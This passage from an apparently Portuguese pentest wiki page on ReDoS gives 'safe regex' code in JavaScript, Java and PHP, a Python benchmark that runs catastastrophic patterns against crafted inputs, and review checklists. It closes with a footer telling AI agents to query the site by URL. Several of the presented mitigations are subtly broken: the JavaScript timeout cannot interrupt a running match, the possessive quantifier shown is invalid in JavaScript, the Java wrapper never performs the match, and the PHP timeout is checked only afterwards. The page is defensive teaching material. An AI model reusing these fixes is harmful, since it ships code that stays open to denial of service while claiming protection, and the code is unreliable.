function safeRegexMatch(pattern, string, maxLength = 1000) {
    if (string.length > maxLength) {
        throw new Error('Input too long');
    }
    
    // Usar exec com timeout via Promise
    return new Promise((resolve, reject) => {
        const timeout = setTimeout(() => {
            reject(new Error('Regex timeout'));
        }, 100);
        
        try {
            const result = pattern.exec(string);
            clearTimeout(timeout);
            resolve(result);
        } catch (error) {
            clearTimeout(timeout);
            reject(error);
        }
    });
}

// Usar quantificadores possessivos
const safePattern = /^(a++)+$/;  // ++ evita backtracking

// Usar limites em quantificadores
const limitedPattern = /^a{1,1000}$/;

// Usar Regex with timeout library
const safe = require('safe-regex');
if (safe.isSafe(pattern)) {
    // Usar regex
}
"""
        print(code)
    
    @staticmethod
    def java_safe():
        """Java - Implementação segura"""
        print("\n☕ Java Safe Regex")
        print("=" * 50)
        
        code = """
import java.util.concurrent.*;
import java.util.regex.*;

public class SafeRegex {
    private final Pattern pattern;
    private final long timeoutMs;
    
    public SafeRegex(String regex, long timeoutMs) {
        this.pattern = Pattern.compile(regex);
        this.timeoutMs = timeoutMs;
    }
    
    public Matcher match(String input) throws TimeoutException {
        ExecutorService executor = Executors.newSingleThreadExecutor();
        Future<Matcher> future = executor.submit(() -> {
            return pattern.matcher(input);
        });
        
        try {
            return future.get(timeoutMs, TimeUnit.MILLISECONDS);
        } catch (TimeoutException e) {
            future.cancel(true);
            throw e;
        } catch (Exception e) {
            return null;
        } finally {
            executor.shutdown();
        }
    }
    
    // Alternativa: usar quantificadores possessivos
    public static void main(String[] args) {
        // Possessive quantifiers: ++, *+, ?+
        Pattern safe = Pattern.compile("^(a++)+$");
        
        // Limitar comprimento
        Pattern limited = Pattern.compile("^a{1,100}$");
    }
}
"""
        print(code)
    
    @staticmethod
    def php_safe():
        """PHP - Implementação segura"""
        print("\n🐘 PHP Safe Regex")
        print("=" * 50)
        
        code = """
<?php
// Usar PREG_BACKTRACK_LIMIT
function safeRegexMatch($pattern, $string) {
    // Definir limite de backtracking
    ini_set('pcre.backtrack_limit', 100000);
    ini_set('pcre.recursion_limit', 1000);
    
    // Limitar comprimento do input
    if (strlen($string) > 10000) {
        return false;
    }
    
    // Executar com timeout
    $timeout = 5;
    $start = microtime(true);
    
    $result = preg_match($pattern, $string);
    
    if ((microtime(true) - $start) > $timeout) {
        error_log("Regex timeout");
        return false;
    }
    
    return $result;
}

// Usar quantificadores possessivos
$safePattern = '/^(a++)+$/';  // ++ evita backtracking

// Limitar repetições
$limitedPattern = '/^a{1,100}$/';
?>
"""
        print(code)

# Executar
LanguageSafeRegex.python_safe()
LanguageSafeRegex.javascript_safe()
LanguageSafeRegex.java_safe()
LanguageSafeRegex.php_safe()
```

***

## 🔬 **Testes de Performance**

### **Benchmark de Regex**

```python
#!/usr/bin/env python3
# regex_benchmark.py - Benchmark de performance de regex

import re
import time
import statistics
import matplotlib.pyplot as plt

class RegexBenchmark:
    """Benchmark de performance para detectar padrões ReDoS"""
    
    def __init__(self):
        self.results = {}
    
    def benchmark_pattern(self, pattern, input_generator, sizes, iterations=3):
        """Benchmark de um padrão específico"""
        print(f"[*] Benchmarking: {pattern}")
        
        times = {}
        compiled = re.compile(pattern)
        
        for size in sizes:
            test_input = input_generator(size)
            run_times = []
            
            for _ in range(iterations):
                start = time.time()
                compiled.match(test_input)
                elapsed = time.time() - start
                run_times.append(elapsed)
            
            avg_time = statistics.mean(run_times)
            times[size] = avg_time
            print(f"   {size} chars: {avg_time:.4f}s")
        
        self.results[pattern] = times
        return times
    
    def benchmark_vulnerable_patterns(self):
        """Benchmark de padrões vulneráveis conhecidos"""
        print("🚨 Regex Performance Benchmark")
        print("=" * 60)
        
        patterns = [
            (r'^(a+)+$', lambda n: "a" * n + "!"),
            (r'^(a|aa)+$', lambda n: "a" * n + "!"),
            (r'^(a+)*$', lambda n: "a" * n + "!"),
            (r'^(\w+)+$', lambda n: "a" * n + "!"),
        ]
        
        sizes = [10, 20, 30, 40, 50]
        
        for pattern, generator in patterns:
            self.benchmark_pattern(pattern, generator, sizes)
        
        self._print_summary()
    
    def benchmark_secure_patterns(self):
        """Benchmark de padrões seguros para comparação"""
        print("\n✅ Secure Patterns Benchmark")
        print("=" * 60)
        
        patterns = [
            (r'^a+$', lambda n: "a" * n + "!"),
            (r'^\w+$', lambda n: "a" * n + "!"),
            (r'^a{1,100}$', lambda n: "a" * min(n, 100) + "!"),
            (r'^[a-z]+$', lambda n: "a" * n + "!"),
        ]
        
        sizes = [100, 500, 1000, 5000, 10000]
        
        for pattern, generator in patterns:
            self.benchmark_pattern(pattern, generator, sizes)
        
        self._print_summary()
    
    def _print_summary(self):
        """Imprimir resumo do benchmark"""
        print("\n📊 Resumo do Benchmark")
        print("=" * 60)
        
        for pattern, times in self.results.items():
            if max(times.values()) > 0.5:
                print(f"🔴 {pattern}")
                print(f"   Performance degradada: {max(times.values()):.2f}s")
            else:
                print(f"✅ {pattern}")
                print(f"   Performance OK: {max(times.values()):.4f}s")

# Executar benchmark
benchmark = RegexBenchmark()
benchmark.benchmark_vulnerable_patterns()
benchmark.benchmark_secure_patterns()
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Desenvolvedores**

#### **Revisão de Regex**

* [ ] Evitar quantificadores aninhados `(a+)+`
* [ ] Evitar alternância sobreposta `(a|aa)+`
* [ ] Usar classes de caracteres em vez de alternância `[a-z]` vs `(a|b|c)`
* [ ] Usar quantificadores possessivos quando possível `++`, `*+`, `?+`
* [ ] Limitar comprimento do input antes da validação
* [ ] Implementar timeout nas operações regex

#### **Testes**

* [ ] Testar com inputs longos (1000+ caracteres)
* [ ] Testar com inputs que falham (malicious)
* [ ] Realizar benchmark de performance
* [ ] Usar ferramentas de análise estática

### **Checklist para Revisão de Código**

#### **Padrões Perigosos**

* [ ] Buscar por `(.*?)+`, `(.+?)+`
* [ ] Buscar por `(\w+)+`, `(\d+)+`
* [ ] Buscar por `(a|aa)+`, `(ab|aba)+`
* [ ] Buscar por `(?=.*?)`, `(?<=.*?)`

#### **Práticas Seguras**

* [ ] Preferir `^[a-z]+$` a `^(a|b|c)+$`
* [ ] Usar `^a{1,100}$` em vez de `^a+$`
* [ ] Implementar validação em múltiplas camadas
* [ ] Usar bibliotecas de validação especializadas

***

## 📊 **Conclusão**

```yaml
ReDoS (Regular Expression Denial of Service):

  🔴 Padrões Vulneráveis:
    - Quantificadores aninhados: (a+)+
    - Alternância sobreposta: (a|aa)+
    - Múltiplos wildcards: .*?.*?.*?
    - Lookahead com quantificadores: (?=a+)+

  🛡️ Mitigações Essenciais:
    - Usar quantificadores possessivos (++, *+, ?+)
    - Limitar comprimento do input
    - Implementar timeouts
    - Preferir classes de caracteres
    - Validar em múltiplas camadas

  🎯 Prioridade:
    - CRÍTICA: Validação de input público
    - ALTA: APIs e endpoints externos
    - MÉDIA: Validação interna
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/linguagens-de-programacao/redos-regex-dos.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.